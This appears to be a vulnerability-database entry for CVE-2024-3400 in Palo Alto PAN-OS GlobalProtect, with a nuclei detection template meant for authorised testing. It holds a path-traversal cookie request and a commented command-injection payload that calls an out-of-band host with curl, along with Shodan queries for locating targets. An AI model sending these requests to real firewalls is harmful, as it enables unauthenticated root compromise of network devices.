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CVE-2024-3400· paloaltonetworks / pan-os· CWE-20, CWE-77

GlobalProtect - OS Command Injection

Exploited in the wild. Listed by CISA on 2024-04-12; known to be used by ransomware.

criticalseverity
10CVSS score
100%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

A command injection vulnerability in the GlobalProtect feature of Palo Alto Networks PAN-OS software for specific PAN-OS versions and distinct feature configurations may enable an unauthenticated attacker to execute arbitrary code with root privileges on the firewall.Cloud NGFW, Panorama appliances, and Prisma Access are not impacted by this vulnerability.

Impact

Unauthenticated attackers can execute arbitrary code with root privileges on Palo Alto Networks PAN-OS firewalls.

Fix

Apply security patches for PAN-OS addressing CVE-2024-3400.

How to confirm it

Send: GET /global-protect/portal/images/{{randstr}}.txt HTTP/1.1 ; POST /ssl-vpn/hipreport.esp
Positive when: status_code_1 == 404 && status_code_3 == 403 and contains(body_2, 'invalid required input parameters')

Run it with nuclei: nuclei -id CVE-2024-3400 -u <target>

The full check
id: CVE-2024-3400

info:
  name: GlobalProtect - OS Command Injection
  author: salts,parthmalhotra
  severity: critical
  description: |
    A command injection vulnerability in the GlobalProtect feature of Palo Alto Networks PAN-OS software for specific PAN-OS versions and distinct feature configurations may enable an unauthenticated attacker to execute arbitrary code with root privileges on the firewall.Cloud NGFW, Panorama appliances, and Prisma Access are not impacted by this vulnerability.
  impact: |
    Unauthenticated attackers can execute arbitrary code with root privileges on Palo Alto Networks PAN-OS firewalls.
  remediation: |
    Apply security patches for PAN-OS addressing CVE-2024-3400.
  reference:
    - https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-CVE-2024-3400/
    - https://attackerkb.com/topics/SSTk336Tmf/cve-2024-3400/rapid7-analysis
    - https://nvd.nist.gov/vuln/detail/CVE-2024-3400
    - https://github.com/zam89/CVE-2024-3400-pot
    - https://github.com/ZephrFish/CVE-2024-3400-Canary
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2024-3400
    cwe-id: CWE-20,CWE-77
    epss-score: 0.99999
    epss-percentile: 1
    cpe: cpe:2.3:o:paloaltonetworks:pan-os:10.2.0:-:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: paloaltonetworks
    product: "pan-os"
    shodan-query:
      - "http.favicon.hash:-631559155"
      - http.favicon.hash:"-631559155"
      - cpe:"cpe:2.3:o:paloaltonetworks:pan-os"
    fofa-query: "icon_hash=\"-631559155\""
  tags: cve,cve2024,globalprotect,pan-os,rce,oast,kev,intrusive,paloaltonetworks,vkev,vuln

http:
  - raw:
      - |
        GET /global-protect/portal/images/{{randstr}}.txt HTTP/1.1 HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /ssl-vpn/hipreport.esp HTTP/1.1
        Host: {{Hostname}}
        Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/{{randstr}}.txt;
        Content-Type: application/x-www-form-urlencoded

        user=global&portal=global&authcookie=e51140e4-4ee3-4ced-9373-96160d68&domain=global&computer=global&client-ip=global&client-ipv6=global&md5-sum=global&gwHipReportCheck=global
      - |
        GET /global-protect/portal/images/{{randstr}}.txt HTTP/1.1 HTTP/1.1
        Host: {{Hostname}}

      # Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}{{interactsh-url}}`; payload for rce, requires cronjob to be executed to run command

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - status_code_1 == 404 && status_code_3 == 403
          - contains(body_2, 'invalid required input parameters')
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from